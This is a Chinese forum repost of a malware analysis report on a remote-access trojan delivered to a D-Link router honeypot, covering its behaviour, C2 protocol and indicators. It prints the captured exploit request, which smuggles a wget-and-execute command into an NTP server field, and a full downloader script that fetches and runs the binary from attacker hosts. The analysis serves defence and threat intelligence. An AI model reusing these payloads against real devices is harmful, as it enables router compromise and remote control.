电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 547 人浏览分享

物联网威胁监测系统最新发现一款针对IoT设备的RAT远控木马

[复制链接]
547 0
一、背景概述

2022年7月20日,天穹威胁监测系统监测到IoT蜜罐系统中的D-Link Dir 817LW路由器遭受来自澳大利亚IP的攻击
系统显示目标设备被攻击成功,并且下载了恶意样本。实验室相关人员第一时间对该攻击事件样本进行分析 发现
该次攻击投递的恶意样本为具备RAT功能的恶意程序。

QQ截图20221117100754.png

QQ截图20221117100825.png

二、关键线索

2.1 攻击特征

我们从天穹威胁监测系统提取了漏洞攻击请求原文,如下所示。根据Payload特征发现
此漏洞是Nday,暂无漏洞编号。

POST /hedwig.cgi HTTP/1.0
Host: 158.*.*.8:8011
Connection: close
Content-Length: 515
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/xml
Cookie: uid=5r3JP1jSru
<postxml>
<module>
<service>DEVICE.TIME</service>
<device>
<time>
<ntp>
<enable>1</enable>
<period>604800</period>
<server>0.pool.ntp.org ; (wget -O /tmp/x http://149.28.174.108/dL.html ; chm
od 777 /tmp/x ; /tmp/x) &amp; exit; </server>
</ntp>
<ntp6>
<enable>1</enable>
<period>604800</period>
</ntp6>
<timezone>57</timezone>
<time/>
<date/>
<dst>0</dst>
<dstmanual/>
<dstoffset/>
</time>
</device>
</module>
</postxml>

2.2 Shell脚本内容

上述攻击请求会控制失陷设备下载地址为http://149.28.174.108/dL.html的文件并执行文
件内容如下所示。

#!/bin/sh

I=149.28.174.108;
PW=80;
PT=69;
DT=60;

I1=45.149.156.71;
P1=9701;

rm -f $0

#tftp 下载文件
a=dal;
# tftp -g -l /tmp/dal -r dal 149.28.174.108 69;
tftp -g -l /tmp/$a -r $a $I $PT;

if [ -f /tmp/$a ];then
    chmod 777 /tmp/$a;
   
    # /tmp/dal 60 45.149.156.71 9701
    /tmp/$a $DT $I1 $P1 $I2 $P2 $I3 $P3 $I4 $P4 $I5 $P5;
    if [ ! -f /tmp/$a ];then
        exit 0;
    fi;
    rm -f /tmp/$a;
fi

#wget 下载文件
a=dal;
# wget http://149.28.174.108:80/dal -O /tmp/dal
wget http://$I:$PW/$a -O /tmp/$a;

if [ -f /tmp/$a ];then
    chmod 777 /tmp/$a;
   
    # /tmp/dal 60 45.149.156.71 9701
    /tmp/$a $DT $I1 $P1 $I2 $P2 $I3 $P3 $I4 $P4 $I5 $P5;
    if [ ! -f /tmp/$a ];then
        exit 0;
    fi;
    rm -f /tmp/$a;
fi

根据文件内容,该脚本为一段Shell脚本,功能为远程下载二进制木马文件并执行 我们从真实下载
地址http://149.28.174.108:80/dal下载了样本得到dal文件。

三、样本分析

3.1 动态养殖

构建内网隔离环境后,我们对样本进行了养殖与监控。通过监控,我们发现样本在运行时 首先会检测
传入的参数,如果无参数或者参数数量不对,则直接退出。这是一种与沙箱对抗的简单方法 可以阻止
部分沙箱对样本进行养殖与监控。

3.1.1 文件行为

当我们使用Shell中的启动参数(dal 60 45.149.156.71 9701)运行样本时 进程会删除程
序源文件,同时建立两个进程名为sh的子进程。

pi        1074     1  0 10:50 ?        00:00:00 sh
pi        1075  1074  0 10:50 ?        00:00:00 sh
pi        1084   905  0 10:50 pts/0    00:00:00 ps -ef

QQ截图20221117101941.png

3.1.2 网络行为

进一步分析网络通联情况,发现该程序会监听9725端口。

pi@raspberrypi:/tmp $ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:9725            0.0.0.0:*               LISTEN
tcp        0    224 192.168.6.188:22        192.168.4.148:26563     ESTABLISHED
tcp6       0      0 :::22                   :::*                    LISTEN
udp        0      0 0.0.0.0:56975           0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::51194                :::*
raw6       0      0 :::58                   :::*                    7

此外,通过流量监测发现该样本会定期与IP 45.149.156.71的9701端口建立通讯 心跳周期为60秒
所发送数据包内容为空。

QQ截图20221117102156.png

结合该样本上述行为,我们可以判断该样本启动时三个参数的对应关系如下。


样本名    回连间隔       C2 IP         C2端口​

dal         60     45.149.156.71      9701

3.2 静态分析

3.2.1 自删除


运行后,先获取程序绝对路径并删除自身

22226.png

3.2.2 创建子进程1并放行端口

将子进程设置为守护进程

2222.png

子进程1会监听9725端口

2221.png

由于部分IoT设备存在防火墙,会拦截攻击者发送数据,该程序会调用Iptables放行9725端口 确保设备
存在防火墙情况下也能与程序正常通讯。

2220.png

3.2.3 创建子进程2并回连C2

子进程2:主动发起请求回连C2

2218.png

3.2.4 指令操作

当攻击者与这两个进程中的任何一个建立通信后,就会去调用sub_15A8C 函数去处理接收的攻击者
指令根据接收到的不同命令实现不同的功能。

2216.png

3.2.4.1 远程文件读取

Case 1 包括接收命令,打开文件和读取文件,发送数据。

2212.png

2211.png

3.2.4.2 远程文件写入

Case 2 会接收命令,调用的函数和 Case 1 中的一样,然后是打开文件和写入文件。

2200.png

3.2.4.3 伪终端功能

Case 3 包括接收命令,接收命令调用的函数和之前一样,然后是打开设备文件,读取并发送 我们根据
此函数打开设备文件位置判断这是打开伪终端。

1639.png

1638.png

3.2.4.4 文件上传下载与命令执行

Case 4 通过对比字符串决定执行流程。

1832.png

如果是”get“就发送数据

1636.png

如果是”put“ 就打开和写入文件

1633.png

如果都不是就执行命令

1622.png

3.2.5 对接收数据的处理

在成功建立通信之后,程序第一次至少接收40个字节的数据,然后将这个40个字节的前20个字节和后20个字节分开
分开后的两个字符和另一个字符串 “pxd1@13sd...” 被一个函数当作参数填充 0x341D0 和 0x34468 地址里的空
间这两个地址里的值会被后面的解密函数使用,这个函数调用了许多计算函数去填充,难以分析出它的计算方式。

第一次接收的数据经过计算相当于一个解密用的密钥,供之后的解密使用

1621.png

之后调用调用函数 sub_10640 接收数据并进行加密,这个函数负责接收数据和解密数据之后
所有接收数据和加密数据都是由它完成。
sub_10640 函数总共会进行两次接收,第一次接收的长度为16个字节,通过一个解密函数 sub_12454
和第一次获得的密钥对这16字节的内容进行解密。

36.png

解密之后还会把解密的部分和 0x3466C 开始的部分进行异或,然后将异或后部分的第一个字节和第二个
字节做计算,之后判断计算的值,如果不满足条件就结束这次通信。

28.png

26.png

第二次接收数据,接收数据的长度与第一次数据解密后的值有关,接收的数据紧挨着第二次接收的
数据之后之后又是一系列解密操作。

18.png

再经过 sub_10640 接收和处理的数据被用于条件判断,控制程序是否结束或者作为参数传递
给执行恶意操作的函数。

3.2.6 样本运行流程图

6.jpg

3.3 小结

结合该样本行为与代码分析结果,我们判断这是一个远控木马,存在心跳包机制,具有正向Shell与反向Shell功能攻击
者可以主动连接9725端口或者等待样本主动回连,当攻击者与木马建立连接后具有命令执行与文件上传下载功能。

四、威胁情报分析

4.1 事件IP关联情报

我们对此次攻击事件涉及的IP和样本进行了威胁情报关联,暂未发现与其他病毒家族关联信息。

2.png

五、结论

通过样本的行为分析和代码分析,我们判断这是一个远控木马样本。
该样本运行后建立两个子进程,分别用于监控9725端口和定时向C2回连,当攻击者与木马
建立连接后可以进行命令执行和文件上传下载等。

针对IoT设备的样本大多数具备DDos功能,而此样本却只有远程控制功能,且根据静态分析与威胁情
报未找到与现有僵尸网络家族关联信息。我们推测此样本属于攻击者投递的第一阶段攻击载荷 后续攻
击者可以利用此样本投递其他恶意程序。

六、IoC

f4d77aa2aae2d5267845360b1274ce21

45.149.156.71

149.28.174.108

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.